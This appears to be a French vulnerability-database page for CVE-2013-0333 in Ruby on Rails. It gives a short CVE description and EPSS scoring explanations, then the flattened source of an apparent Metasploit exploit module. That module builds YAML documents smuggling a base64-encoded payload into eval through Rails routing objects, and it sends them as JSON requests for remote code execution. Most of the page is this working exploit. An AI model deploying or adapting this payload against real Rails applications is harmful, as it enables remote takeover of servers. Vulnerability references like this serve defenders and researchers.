Descriptions du CVE

lib/active_support/json/backends/yaml.rb in Ruby on Rails 2.3.x before 2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data for processing by a YAML parser, which allows remote attackers to execute arbitrary code, conduct SQL injection attacks, or bypass authentication via crafted data that triggers unsafe decoding, a different vulnerability than CVE-2013-0156.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This vulnerability is very similar to CVE-2013-0156. This module has been tested successfully on RoR 3.0.9, 3.0.19, and 2.3.15. The technique used by this module requires the target to be running a fairly recent version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be exploitable using the init_with() method, but this has not been demonstrated. }, 'Author' => [ 'jjarmoc', # Initial module based on cve-2013-0156, testing help 'egypt', # Module 'lian', # Identified the RouteSet::NamedRouteCollection vector ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-0333'], ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 28 2013', 'DefaultOptions' => { "PrependFork" => true }, 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) ], self.class) end # # Create the YAML document that will be embedded into the JSON # def build_yaml_rails2 code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + "eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n" yaml.gsub(':', '\u003a') end # # Create the YAML document that will be embedded into the JSON # def build_yaml_rails3 code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" yaml.gsub(':', '\u003a') end def build_request(v) case v when 2; build_yaml_rails2 when 3; build_yaml_rails3 end end # # Send the actual request # def exploit [2, 3].each do |ver| print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/json', 'headers' => { 'X-HTTP-Method-Override' => 'get' }, 'data' => build_request(ver) }, 25) handler end end end
